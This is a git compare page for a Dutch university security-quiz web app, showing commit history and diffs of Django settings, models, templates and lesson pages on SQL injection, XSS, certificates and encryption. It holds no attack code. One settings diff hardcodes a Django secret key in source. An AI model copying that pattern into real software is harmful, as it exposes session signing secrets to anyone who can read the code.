Compare commits

..
115 Commits
Author SHA1 Message Date
Paul 6c80186fb8 Update encryptie.html 2017-06-20 14:07:48 +02:00
Paul a6c0e56022 Spelling 2017-06-07 15:19:30 +02:00
Paul a1aa723a4f Fixed missing letter 2017-06-07 15:04:11 +02:00
Paul e796762173 Full key-id 2017-06-07 12:00:28 +02:00
Paul 05bbba6049 Nerf Let's Encrypt assignments 2017-06-01 14:27:00 +02:00
Paul 7f1923943f Merge branch 'master' of github.com:Avans/Security-Quiz 2017-05-30 13:48:30 +02:00
Paul 36387dc087 Fix decrypt error 2017-05-30 13:48:09 +02:00
Paul 606abb982a Update oauth.html 2017-05-22 14:55:28 +02:00
Paul c6b769f31a Add Firefox warning 2017-03-20 08:24:18 +00:00
Paul 01f65a1348 Change points in accordance to grader 2016-07-20 14:10:37 +02:00
Paul baa0bc2e15 Add template path 2016-07-20 13:17:04 +02:00
Paul b034744725 Upgrade Django 2016-07-20 13:13:52 +02:00
Paul 5364f7f49c Added hints 2016-07-05 17:19:59 +02:00
Paul 271a17ac87 View for assisting grading 2016-06-17 10:14:43 +02:00
Paul 309bfe5f93 Update encryptie.html 2016-06-09 15:49:15 +02:00
Paul 1fdac5c62f Update encryptie.html 2016-06-09 15:20:25 +02:00
Paul d1978154bd Merge branch 'master' of github.com:Avans/Security-Quiz 2016-06-09 09:48:44 +02:00
Paul a09732a8d5 loader 2016-06-09 09:48:35 +02:00
Paul 6e0a74e1bb Merge branch 'master' of https://github.com/Avans/Security-Quiz
Conflicts:
	templates/base.html
2016-06-09 08:45:41 +01:00
Paul 91b829ebf3 New deadline 2016-06-09 08:44:15 +01:00
Paul 9854114225 Spinner 2016-06-09 09:42:39 +02:00
Paul 550e334a92 Change screenshot link 2016-06-09 09:30:52 +02:00
Paul aed2b16a9d Change QR 2016-06-06 17:13:15 +02:00
Paul 9bf8ec7913 Changing a question 2016-06-02 17:09:51 +02:00
Paul a3ba75ab49 Update certificaten.html 2016-06-02 11:04:35 +02:00
Paul fb192da373 Update certificaten.html 2016-06-02 10:55:17 +02:00
Paul 94ee41f0ef Update oauth.html 2016-05-26 13:35:46 +02:00
Paul 89b25b379c Change link 2016-05-19 15:01:07 +02:00
Paul 04ac2ac369 Added Let's Encrypt 2016-05-19 14:05:42 +02:00
Paul 22ae8a139a Update OAuth 2016-05-17 11:56:10 +02:00
Paul ccdb7bad62 Added Let's Encrypt API 2016-05-11 13:38:34 +02:00
Paul 2ef5c3aafc Update sql.html 2016-03-10 08:18:24 +01:00
Paul 94608cf887 Changed deadline for 2016 2016-03-07 17:33:34 +00:00
Paul 79e10e29fe Points for SEC2 2015-06-23 15:52:39 +02:00
Bart Mutsaers be93c173d9 linken in nieuwe venster
Heb het attribuut  target="_blank" toegevoegd aan de anchors
2015-06-15 09:32:58 +02:00
Bart Mutsaers cb657899d9 linken in nieuwe venster
Heb het attribuut  target="_blank" toegevoegd aan de anchors
2015-06-15 09:27:55 +02:00
Bart Mutsaers a1aba8ff56 linken in nieuwe venster
Heb de <a ...> het attribuut target  target="_blank" toegevoegd.
2015-06-15 09:23:45 +02:00
Paul ff1f1cfc55 Extra e 2015-06-10 12:50:35 +02:00
Paul a656291399 Added decrypt command 2015-06-09 12:44:14 +02:00
Paul 601e6531ab Key signing parties 2015-06-09 12:02:59 +02:00
Paul bc2cc9198a Extra two way QR code expl 2015-06-09 11:57:01 +02:00
Paul 8be33b3016 Nieuw geheim 2015-06-09 11:48:54 +02:00
Paul 92f14c6133 Enable menu 2015-06-08 17:45:49 +02:00
Paul 961e236b9d Afmaken encryptie opgave 2015-06-08 17:44:56 +02:00
Paul 19f3623f6e Encryption WIP 2015-06-08 01:21:32 +02:00
Paul 0fb3bccca0 Certificaat werkt voor nu alleen in Chrome 2015-06-03 17:25:52 +02:00
Paul 0672cfd31d Responsive layout prevents cutting of terminal commands 2015-06-03 17:07:15 +02:00
Paul 6ddd19929c Windows hints 2015-06-03 16:43:34 +02:00
Paul 7af86e3ab3 Update certificaten.html 2015-06-02 15:28:14 +02:00
Paul 167bc7687c Merge branch 'master' of github.com:Avans/Security-Quiz 2015-06-01 12:46:41 +02:00
Paul 8e6b619d48 Fix anwer strings 2015-06-01 12:46:06 +02:00
Paul f664d51b83 Merge branch 'master' of https://github.com/Avans/Security-Quiz 2015-05-29 20:27:01 +01:00
Paul d3098ba467 Update refresh token 2015-05-29 20:26:35 +01:00
Paul b8baac40c9 Certificaten 2015-05-29 21:24:39 +02:00
Paul bbef3ce8ef Certificates assignments 2015-05-28 23:57:19 +02:00
Paul 4f5312904c Presentation sketches 2015-05-28 22:07:50 +02:00
Paul e2dba0ec7a Updated signing service with updated certificates and settings 2015-05-28 18:30:51 +02:00
Paul 3d8b4898fa Final 2015-05-20 15:39:58 +02:00
Paul bf85464df2 Datetime fix 2015-05-20 15:27:53 +02:00
Paul ee0ce17182 Missing migration 2015-05-20 14:30:25 +02:00
Paul 8f8a00fc67 Extra datetime field 2015-05-20 14:29:28 +02:00
Paul d553d6c2ef Add submitted field 2015-05-19 13:12:59 +02:00
Paul 082661055e Input fixes 2015-05-17 02:54:40 +02:00
Paul fce9f5dc81 prefix 2015-05-17 02:50:04 +02:00
Paul a67a62b05b . 2015-05-17 02:37:43 +02:00
Paul 3daed11cd8 Finished OAuth 2015-05-17 01:21:46 +02:00
Paul 317d33106c OAuth WIP 2015-05-16 14:43:54 +02:00
Paul 20253a8872 Show graded points 2015-04-08 18:15:47 +02:00
Paul 8aab00dbca Update wachtwoorden.html 2015-03-25 11:04:58 +01:00
Paul f0f07cdac1 Update wachtwoorden.html 2015-03-24 13:41:29 +01:00
Paul 0eabf8c0ab Deadline 2015-03-23 01:33:41 +01:00
Paul c532c286a9 Wachtwoorden dictaat 2015-03-23 01:23:36 +01:00
Paul f846944b88 Added type='url' to inputs 2015-03-19 15:12:08 +01:00
Paul d92776e86d Merge branch 'master' of github.com:Avans/Security-Quiz
Conflicts:
	templates/xss.html
2015-03-18 10:59:28 +01:00
Paul 5f8ec2bc7c eigen website 2015-03-18 10:55:32 +01:00
Bart Mutsaers 1034cbfbb4 na de eerste les wat preciseringen 2015-03-16 19:56:42 +01:00
Paul 73906d2ea5 Dutch 2015-03-16 10:41:17 +01:00
Paul b9ff20da9a Fix 2015-03-16 10:36:21 +01:00
Paul 343327405a Added XSS countermeasures 2015-03-16 10:32:44 +01:00
Paul 21ad44edcd Added new exercises to XSS and added some intro text 2015-03-15 02:48:18 +01:00
Paul 2a822c7b08 Added insecure path assignments as extra bonus assignment 2015-03-12 15:40:00 +01:00
Bart Mutsaers 1087d64aaf Verwijzingen openen in nieuw venster 2015-03-11 11:59:07 +01:00
Bart Mutsaers bec280deba Verduidelijking van welk veld gebruikt dient te worden 2015-03-10 14:52:56 +01:00
Bart Mutsaers e5cebcfd46 Visueel aangegeven om welke oefensite het gaat 2015-03-09 14:11:02 +01:00
Bart Mutsaers cc09e6b65e meerdere aanwijzingen uitgebreid
ook een class meegegeven
2015-03-09 13:53:11 +01:00
Bart Mutsaers 44a8877064 Instructie uitgebreid
Aangegeven welke site ze moeten hebben.
2015-03-09 13:44:54 +01:00
Paul 3fa97b22f2 Dummy commit 2015-03-06 10:12:46 +01:00
Paul f0860ae4de Add POST ability to git pull 2015-03-06 09:10:35 +00:00
Paul 85415eaf29 Update sql.html 2015-03-06 10:07:41 +01:00
Paul dd75a22510 Fix 2015-03-06 00:48:26 +00:00
Paul 5718cfa2d5 Git pull funnctionality 2015-03-06 00:41:09 +00:00
Paul 0f2decee2f Rehaul SQL 2015-03-06 01:31:28 +01:00
Paul 16957cbfd1 Fix for new server 2015-03-03 12:14:13 +00:00
Paul 4e5080fcab Stupid dutch error 2014-06-11 13:55:19 +02:00
Paul 82f10b16bc Add CLOSED setting 2014-06-11 13:37:22 +02:00
Paul 6fc0270950 Add fields to be used for grading 2014-06-04 15:53:47 +02:00
Paul 5ee6829e22 Small improvements in the openssl assignments 2014-06-04 15:37:29 +02:00
Paul cb88a65b6a OpenSSL exercises 2014-05-21 10:03:51 +02:00
Paul 6c6546d875 Bonus exercise 2014-05-16 10:59:42 +02:00
Paul 17d0757d73 Added other assignments to the hint system 2014-05-14 13:47:27 +02:00
Paul 8ed17e9987 Added hint system where student can choose difficulty 2014-05-14 13:43:58 +02:00
Paul 0aad2707b9 Added extra password question (rate-limiting) 2014-05-14 13:15:59 +02:00
Paul a794ad8060 Fixed last password question 2014-05-13 11:46:57 +02:00
Paul 3b34c77b62 Added a course selection option 2014-05-13 11:46:37 +02:00
Paul c3594e6a34 Added some images 2014-05-07 15:14:34 +02:00
Paul b1c9bb088c Added password challenges for week 4 2014-05-07 14:57:54 +02:00
Paul 3a6e8682df Improved phrasing, hints and assignments for directory traversal attacks 2014-05-06 22:17:33 +02:00
Paul f08a99806e Added Indirect Object References exercises 2014-05-05 17:36:22 +02:00
Paul 3a443e9e70 Closed body and added JS link 2014-04-25 10:58:42 +02:00
Paul 2f20546fe5 Added hint for unclear question 2014-04-23 14:29:11 +02:00
Paul 347ead3536 Saving data via Javascript, evading the Avans firewall (hopefully) 2014-04-23 13:25:03 +02:00
Paul db59273825 Added XSS exercises 2014-04-22 15:34:41 +02:00
Paul a66240eda3 Added automatic updating webhook 2014-04-20 12:44:20 +02:00
Paul 7a996f5aff Added domain to ALLOWED_HOSTS 2014-04-20 12:13:30 +02:00
Paul 904cf04b4f Initial commit 2014-04-19 13:23:59 +02:00
34 changed files with 1102 additions and 1316 deletions

No files matched your search

+2 -3
View File
@@ -1,5 +1,4 @@
.DS_Store .DS_Store
__pycache__ *.pyc
/venv
db.sqlite3 db.sqlite3
/securityquiz/secrets.py securityquiz/secrets.py
Executable → Regular
View File
File mode changed.
Executable → Regular
View File
File mode changed.
Executable → Regular
+4
View File
@@ -0,0 +1,4 @@
from django.contrib import admin
import models
admin.site.register(models.Answer)
+19 -9
View File
@@ -1,23 +1,33 @@
# Generated by Django 2.0.2 on 2018-02-05 13:50 # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models from django.db import models, migrations
from django.conf import settings
class Migration(migrations.Migration): class Migration(migrations.Migration):
initial = True
dependencies = [ dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
] ]
operations = [ operations = [
migrations.CreateModel( migrations.CreateModel(
name='LetsEncryptChallenge', name='Answer',
fields=[ fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('challenge', models.CharField(max_length=128)), ('question', models.CharField(max_length=128)),
('response', models.CharField(max_length=128)), ('string', models.TextField()),
('expiry_date', models.DateTimeField()), ('points', models.IntegerField(null=True)),
('comment', models.TextField(null=True)),
('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),
], ],
options={
},
bases=(models.Model,),
),
migrations.AlterUniqueTogether(
name='answer',
unique_together=set([('user', 'question')]),
), ),
] ]
+20
View File
@@ -0,0 +1,20 @@
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('quiz', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='answer',
name='submitted',
field=models.DateField(auto_now_add=True, null=True),
preserve_default=True,
),
]
@@ -0,0 +1,20 @@
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('quiz', '0002_answer_submitted'),
]
operations = [
migrations.AlterField(
model_name='answer',
name='submitted',
field=models.DateTimeField(auto_now_add=True, null=True),
preserve_default=True,
),
]
@@ -0,0 +1,26 @@
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('quiz', '0003_auto_20150520_1113'),
]
operations = [
migrations.CreateModel(
name='LetsEncryptChallenge',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('challenge', models.CharField(max_length=128)),
('response', models.CharField(max_length=128)),
('expiry_date', models.DateTimeField()),
],
options={
},
bases=(models.Model,),
),
]
Executable → Regular
View File
File mode changed.
Executable → Regular
+18
View File
@@ -1,5 +1,23 @@
from django.db import models from django.db import models
from django.contrib.auth.models import User
# Create your models here.
class Answer(models.Model):
user = models.ForeignKey(User)
question = models.CharField(max_length=128)
string = models.TextField()
# Feedback
points = models.IntegerField(null=True)
comment = models.TextField(null=True)
submitted = models.DateTimeField(auto_now_add=True, null=True)
class Meta:
unique_together = ('user', 'question')
def __str__(self):
return self.question + ": " + self.string
class LetsEncryptChallenge(models.Model): class LetsEncryptChallenge(models.Model):
challenge = models.CharField(max_length=128) challenge = models.CharField(max_length=128)
-5
View File
@@ -1,5 +0,0 @@
django
django-oauth-toolkit
django-cors-headers
pyopenssl
psycopg2
Executable → Regular
View File
File mode changed.
+7 -1
View File
@@ -1,4 +1,10 @@
DB_HOST = ''
DB_NAME = '' DB_NAME = ''
DB_USER = '' DB_USER = ''
DB_PASSWORD = '' DB_PASSWORD = ''
# Can be obtained at https://publicapi.avans.nl/newconsumer/
AVANS_KEY = ''
AVANS_SECRET = ''
SECRET_KEY = '
Executable → Regular
+11 -9
View File
@@ -9,10 +9,7 @@ https://docs.djangoproject.com/en/1.6/ref/settings/
""" """
# Build paths inside the project like this: os.path.join(BASE_DIR, ...) # Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os import os, secrets, sys
import sys
from . import secrets
BASE_DIR = os.path.dirname(os.path.dirname(__file__)) BASE_DIR = os.path.dirname(os.path.dirname(__file__))
CLOSED = False CLOSED = False
@@ -21,7 +18,7 @@ CLOSED = False
# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/ # See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret! # SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'jk3nd2kj3nd2i30do23dn9283nd' SECRET_KEY = secrets.SECRET_KEY
# SECURITY WARNING: don't run with debug turned on in production! # SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False DEBUG = False
@@ -29,7 +26,7 @@ DEBUG = False
if 'runserver' in sys.argv: if 'runserver' in sys.argv:
DEBUG = True DEBUG = True
ALLOWED_HOSTS = ['websec.paulwagener.nl', '127.0.0.1'] ALLOWED_HOSTS = ['sec1.aii.avans.nl']
# Application definition # Application definition
@@ -46,7 +43,7 @@ INSTALLED_APPS = (
'corsheaders', 'corsheaders',
) )
MIDDLEWARE = ( MIDDLEWARE_CLASSES = (
'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware', 'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.csrf.CsrfViewMiddleware',
@@ -67,11 +64,12 @@ WSGI_APPLICATION = 'securityquiz.wsgi.application'
DATABASES = { DATABASES = {
'default': { 'default': {
'ENGINE': 'django.db.backends.postgresql', 'ENGINE': 'django.db.backends.mysql',
'NAME': secrets.DB_NAME, 'NAME': secrets.DB_NAME,
'USER': secrets.DB_USER, 'USER': secrets.DB_USER,
'PASSWORD': secrets.DB_PASSWORD, 'PASSWORD': secrets.DB_PASSWORD,
'HOST': secrets.DB_HOST 'HOST': '127.0.0.1',
'PORT': '3306',
} }
} }
@@ -107,6 +105,7 @@ TEMPLATES = [
'django.template.context_processors.debug', 'django.template.context_processors.debug',
'django.template.context_processors.request', 'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth', 'django.contrib.auth.context_processors.auth',
'securityquiz.settings.closed',
'django.contrib.messages.context_processors.messages', 'django.contrib.messages.context_processors.messages',
], ],
}, },
@@ -116,3 +115,6 @@ TEMPLATES = [
STATICFILES_DIRS = ( STATICFILES_DIRS = (
PROJECT_PATH + '/static', PROJECT_PATH + '/static',
) )
def closed(request):
return {'CLOSED': CLOSED}
Executable → Regular
+7 -1
View File
@@ -1,4 +1,4 @@
from django.conf.urls import include, url from django.conf.urls import patterns, include, url
from django.contrib import admin from django.contrib import admin
import views import views
@@ -8,7 +8,13 @@ urlpatterns = [
# Examples: # Examples:
url(r'^o/', include('oauth2_provider.urls', namespace='oauth2_provider')), url(r'^o/', include('oauth2_provider.urls', namespace='oauth2_provider')),
url(r'^api/hello', views.SecurityApi.as_view()), url(r'^api/hello', views.SecurityApi.as_view()),
url(r'^callback$', views.avans_callback),
url(r'^logout$', views.avans_logout),
url(r'^pull$', views.git_pull),
url(r'^admin/', include(admin.site.urls)),
url(r'^save$', views.save),
url(r'^sign$', views.sign), url(r'^sign$', views.sign),
url(r'^graderhelper$', views.graderhelper),
url(r'^letsencrypt$', views.letsencrypt), url(r'^letsencrypt$', views.letsencrypt),
url(r'^\.well-known/acme-challenge/(.+)', views.letsencrypt_challenge), url(r'^\.well-known/acme-challenge/(.+)', views.letsencrypt_challenge),
url(r'^(.*)$', views.home, name='home'), url(r'^(.*)$', views.home, name='home'),
Executable → Regular
View File
File mode changed.
+1 -18
View File
@@ -17,21 +17,6 @@ figure img {
} }
} }
@media print {
#menu {
display: none;
}
#quiz {
border: 0 !important;
width: 100%;
margin-left: 0;
}
}
#difficulty {
width: 150px;
}
.screenshot { .screenshot {
box-shadow: 0 0 10px #888; box-shadow: 0 0 10px #888;
border: 1px solid #aaa; border: 1px solid #aaa;
@@ -50,9 +35,7 @@ body {
} }
.question { .question {
padding: 1em; margin: 3em;
margin: 2em;
border-left: 3px solid darkorange;
} }
.question-string { .question-string {
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

+42 -7
View File
@@ -1,28 +1,63 @@
$(function () { $(function() {
var changed = false;
$('.question-input').change(function() {
changed = true;
});
$('#save-button').click(function() {
var data = $.base64.encode($('#form-quiz').serialize())
$('#busy').show();
$('#save-button').prop('disabled', true);
$.post('save', data, function(data) {
$('#busy').hide();
$('#save-button').prop('disabled', false);
if(data == 'ok') {
$('#js-message').text('Antwoorden zijn opgeslagen').slideDown().delay(1000).slideUp();
changed = false;
} else {
alert('Er is iets misgegaan bij het opslaan, bewaar je antwoorden lokaal voordat je deze tab afsluit');
}
});
return false;
});
window.onbeforeunload = function() {
if(changed) {
return 'Er zijn niet opgeslagen wijzigingen. Weet je zeker dat je de pagina wilt verlaten?';
}
}
// Hints // Hints
$('.hint').replaceWith(function () { $('.hint').replaceWith(function() {
return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>' + $(this).hide()[0].outerHTML + '</div>'; return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>'+$(this).hide()[0].outerHTML+'</div>';
}); });
$('#difficulty').trigger('change');
$('#difficulty').change(function (e) { $('#difficulty').change(function(e) {
var option = $(this).find(':selected').val(); var option = $(this).find(':selected').val();
$('.hintlink').toggle(option == 'normal'); $('.hintlink').toggle(option == 'normal');
$('.hint').toggle(option == 'easy'); $('.hint').toggle(option == 'easy');
window.localStorage.setItem('difficulty', option); window.localStorage.setItem('difficulty', option);
}); });
// Set the selected property // Set the selected property
if (window.localStorage['difficulty']) { if(window.localStorage['difficulty']) {
var difficulty = window.localStorage['difficulty']; var difficulty = window.localStorage['difficulty'];
} else { } else {
var difficulty = 'normal'; var difficulty = 'normal';
} }
$('#difficulty option').filter(function () { $('#difficulty option').filter(function() {
return $(this).val() == difficulty; return $(this).val() == difficulty;
}).prop('selected', true); }).prop('selected', true);
$('#difficulty').trigger('change'); $('#difficulty').trigger('change');
+14 -9
View File
@@ -1,12 +1,17 @@
-----BEGIN PGP MESSAGE----- -----BEGIN PGP MESSAGE-----
owEBdgGJ/pANAwAIAQXMoUhwzjSpAawvYgpzZWNyZXQudHh0W7KUz1RoZSBOYXJ3 owEBXgKh/ZANAwACAdVV8vX6nhxaAawuYglwbGFpbi50eHRVdLQaVGhlIE5hcndo
aGFsIEJhY29ucyBhdCBNaWRuaWdodAqJATMEAAEIAB0WIQTUzObaA3ShseyNi1AF YWwgQmFjb25zIGF0IE1pZG5pZ2h0CokCHAQAAQIABgUCVXS0GgAKCRDVVfL1+p4c
zKFIcM40qQUCW7KUzwAKCRAFzKFIcM40qQd2B/sEA5s/TiXM7GFplw2ocxegoIJS Wl31EACZ0itLnfLQrkFYGEa8DxgG6O101oc350JekBI7mIm1x556M3dIkyDTSqPd
TfqeGJoYJt0r5W6j+p2TQ07nH0vadqBpqEIgK9f3VQvUL89Triq0PLp6AgNdB+GR 1gY+5wE3iklSnqPAfRSskclQ5SahK7mIjRw8NoCpWGRdFT/2u15lZofqGMV23T1R
a2M29x8hCEAZQX+Aj74YKfnso0F0EqP3e+Oj5oDrixstnPoy/hXlVbtnR9zvIJXh hEuxxNlZwcWEWDg2Ixx6OqE836Qm+ITaS12ok5qDZFxj4hd4C7uinAv5CWKIyvwl
Eme/pxHkIHnc4a2JojEQQIxu7WvYoXKcrGYPyX0/pvyWGAHIKcPtFNcnO2oF3rp7 l5ZwwWB4p+NT6JxY6p5Pw0J5xPVCE+pAFesPUwAYydQ5CabgdfRyjc6iMQz+GRFD
GRzhc3tydqkIwevosHOsf4T0UoDb/4PAUvkfgbnSdbvGhAdLQtAMWl860lQRQ/WG Qs7kWuZ2JKPWm+2h0UQa38Id66fd4l38x16+rerIEG8XTMlfiXgtCPT9Rkdxb8lD
oJaWC0hUOxzbSoHZeBH8+J8871e+jwE+j+6vk9lVj6Bz4c6O3mUOhxL+dkTw bZQJefupCPP/EAQnZOPzHFbZ32PaOnp0DTLi641W24rb0hwD2LPHIRh+KPWfwaVl
=FLte +1BSEGE3STDjN0CGaTE1KDM5p5TEhML4/LwRucdp+y8c3f1gyWNd8ChnA9aCFr5w
h4FIpE1gAd6XANkVGCIHlZ0Lzxu022zjNFPW2sQeFJy1ZEqBAAwaOlnceztTyx6c
J+TNey4lYy2F4hVn/QxYF5kMUIEw22y4tMmwX4tOVkgg5I0X+mf2Csosbfz7Xsn3
0i4utcTqwmVov3obPQj1QprBeSMXoYSJMyUCO7eIE9eqeGy0uMO6xkG3Z2QGsZNS
aAzu9msSLIc5cQWx9Pva9pafC/sFIyJWudBlf8UEkeIFSll9FQ==
=h6Mi
-----END PGP MESSAGE----- -----END PGP MESSAGE-----
Executable → Regular
+37 -39
View File
@@ -1,63 +1,61 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head>
<head> <title>Security 1</title>
<title>Web Application Security</title>
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css"> <link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css"> <link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
<link href="/static/css/style.css" rel="stylesheet" type="text/css"> <link href="/static/css/style.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script> <script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script> <script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
<script type="text/javascript" src="/static/js/quiz.js"></script> <script type="text/javascript" src="/static/js/quiz.js"></script>
</head> </head>
<body>
<body> <form method="POST" id="form-quiz">
{% csrf_token %}
<div class="row-fluid"> <div class="row-fluid">
<div class="well span3" id="menu"> <div class="well span3" id="menu">
<p>Ingelogd als <strong>{{ user }}</strong>.</p>
<h5>Web Application Security</h5> <h5>Security 1</h5>
<ul> <ul>
<li> <li><a href="/sql">SQL Injection</a></li>
<a href="/sql">SQL Injection</a> <li><a href="/xss">Cross-site Scripting</a></li>
</li> <li><a href="/wachtwoorden">Wachtwoorden</a></li>
<li> <li><a href="/bonus">Bonus</a></li>
<a href="/xss">Cross-site Scripting</a> </ul>
</li>
<li> <h5>Security 2</h5>
<a href="/path">Insecure Direct Object References</a> <ul>
</li> <li><a href="/oauth">OAuth</a></li>
<li> <li><a href="/certificaten">Certificaten</a></li>
<a href="/wachtwoorden">Wachtwoorden</a> <li><a href="/encryptie">Encryptie</a></li>
</li>
<li>
<a href="/oauth">OAuth</a>
</li>
<li>
<a href="/certificaten">Certificaten</a>
</li>
<li>
<a href="/encryptie">Encryptie</a>
</li>
</ul> </ul>
Moeilijkheidsgraad: Moeilijkheidsgraad:
<select id="difficulty"> <select id="difficulty">
<option value="easy">Hints zichtbaar</option> <option value="easy">Makkelijk (hints zichtbaar)</option>
<option value="normal">Hints optioneel</option> <option value="normal">Normaal (hints optioneel)</option>
<option value="hard">Geen hints</option> <option value="hard">Moeilijk (geen hints)</option>
</select> </select>
<p> <a href="/logout" class="btn">Uitloggen</a>
<a href="/vm">Download VM</a> {% if CLOSED %}<br>Inzendingen kunnen niet meer worden ingezonden{% else %}<button class="btn-primary btn-disabled" type="submit" id="save-button">Opslaan</button><img src="/static/img/loader.gif" id="busy" style="display: none">{% endif %}
</p> <div class="alert alert-info" id="js-message" style="display: none;"></div>
<p>Deadline: donderdag 16 juni 23:59</p>
</div> </div>
<div id="quiz" class="span8 offset3"> <div id="quiz" class="span8 offset3">
{% block content %}{% endblock %} {% if messages %}
</div> {% for message in messages %}
</div> <div class="alert alert-info">{{ message }}</div>
</body> {% endfor %}
{% endif %}
{% block content %}{% endblock %}
</div>
</div>
</form>
</body>
</html> </html>
+23
View File
@@ -0,0 +1,23 @@
{% extends "base.html" %}
{% block content %}
<h1>Bonus</h1>
<div class="question">
<span class="question-string">Geef een beveiligingsprobleem aan met deze website (<a href="https://github.com/Avans/Security-Quiz">source</a>)</span>
<div class="points"><span class="question-points">0</span> punten (je naam vereeuwigd op deze website als hacker)</div>
<textarea class="question-input" name="answer_bonus_fix_this_site">{{answers.answer_bonus_fix_this_site.string}}</textarea>
</div>
<div class="alert alert-warning">Het daadwerkelijk uitvoeren van dergelijke hacks voor eigen gewin of verstoren van de functionaliteit van de website is <strong>niet toegestaan</strong>!</div>
<h2>Extra opgave</h2>
<p>Deze opgave leveren geen punten om, maar zijn wel leuk om te maken als je voor de rest alles al af hebt</p>
<ul>
<li><a href="/path">Insecure direct object references</a></li>
</ul>
{% endblock %}
Executable → Regular
+97 -187
View File
@@ -1,140 +1,117 @@
{% extends "base.html" %} {% block content %} {% extends "base.html" %}
<h1>Certificaten</h1> {% block content %}
<p>Bij dit onderdeel gaan we aan de slag met certificaten. De tool die we daarvoor gaan gebruiken is OpenSSL. Dit is een veelgebruikt <h1>Certificaten</h1>
programma waar je vele cryptografische dingen mee kunt doen.</p>
<p>Op Linux en Mac OS X is deze tool al geïnstalleerd, Windows gebruikers moeten deze nog installeren. Als je <p>Deze week gaan we aan de slag met certificaten. De tool die we daarvoor gaan gebruiken is OpenSSL.
<a href="http://google.nl/?q=openssl+windows+install" target="_blank">zoekt op het internet</a> vindt je verschillende mogelijkheden om dat te doen. Bijvoorbeeld de v.1.1.0f Light versie op Dit is een veelgebruikt programma waar je vele cryptografische dingen mee kunt doen.</p>
<a href="http://slproweb.com/products/Win32OpenSSL.html" target="_blank">deze website</a>. Let op dat je dan op de Windows command line het hele pad moet gebruiken in plaats van alleen 'openssl'.
Bijvoorbeeld:
<span class="argument">C:\OpenSSL-Win32\bin\openssl.exe</span>
</p>
<p>Als je bij het gebruik van OpenSSL errors krijgt, probeer dan eerst je command prompt als Administrator te openen. En als <p>Op Linux en Mac OS X is deze tool al geïnstalleerd, Windows gebruikers moeten deze nog installeren. Als je <a href="http://google.nl/?q=openssl+windows+install" target="_blank">zoekt op het internet</a> vindt je verschillende mogelijkheden om dat te doen. Bijvoorbeeld de v.1.1.0f Light versie op <a href="http://slproweb.com/products/Win32OpenSSL.html" target="_blank">deze website</a>. Let op dat je dan op de Windows command line het hele pad moet gebruiken in plaats van alleen 'openssl'. Bijvoorbeeld: <span class="argument">C:\OpenSSL-Win32\bin\openssl.exe</span></p>
dat ook niet werkt om het volgende commando uit te voeren:</p>
<code class="terminal">SET OPENSSL_CONF=[pad naar bestand]\openssl.cfg</code> <p>Als je bij het gebruik van OpenSSL errors krijgt, probeer dan eerst je command prompt als Administrator te openen. En als dat ook niet werkt om het volgende commando uit te voeren:</p>
<hr> <code class="terminal">SET OPENSSL_CONF=[pad naar bestand]\openssl.cfg</code>
<blockquote>Wie ben jij? En waarom zou ik jou vertrouwen dat je bent wie je zegt dat je bent?</blockquote> <hr>
<p>Dat zijn vragen die webbrowsers elke dag moeten beantwoorden. Een site kan wel vinden dat het www.rabobank.nl is, maar daarmee <blockquote>Wie ben jij? En waarom zou ik jou vertrouwen dat je bent wie je zegt dat je bent?</blockquote>
weet een browser nog niet zeker dat het ook daadwerkelijk de webserver van de Rabobank is. Misschien zit je eigenlijk te
communiceren met een server ergens in Rusland van een persoon die maar al te graag je inlogcodes wil weten.</p>
<p>Om dit probleem op te lossen zijn er certificaten bedacht en vastgelegd in de <p>Dat zijn vragen die webbrowsers elke dag moeten beantwoorden. Een site kan wel vinden dat het www.rabobank.nl is, maar daarmee weet een browser nog niet zeker dat het ook daadwerkelijk de webserver van de Rabobank is. Misschien zit je eigenlijk te communiceren met een server ergens in Rusland van een persoon die maar al te graag je inlogcodes wil weten.</p>
<a href="http://en.wikipedia.org/wiki/X.509">X.509</a> standaard. Certificaten zijn kleine bestandjes waarin een identiteit staat beschreven. Dit is bijvoorbeeld een
certificaat van Paul Wagener:</p>
<img src="/static/img/certificaat.png" class="center-block" style="border: 1px solid black"> <p>Om dit probleem op te lossen zijn er certificaten bedacht en vastgelegd in de <a href="http://en.wikipedia.org/wiki/X.509">X.509</a> standaard. Certificaten zijn kleine bestandjes waarin een identiteit staat beschreven. Dit is bijvoorbeeld een certificaat van Paul Wagener:</p>
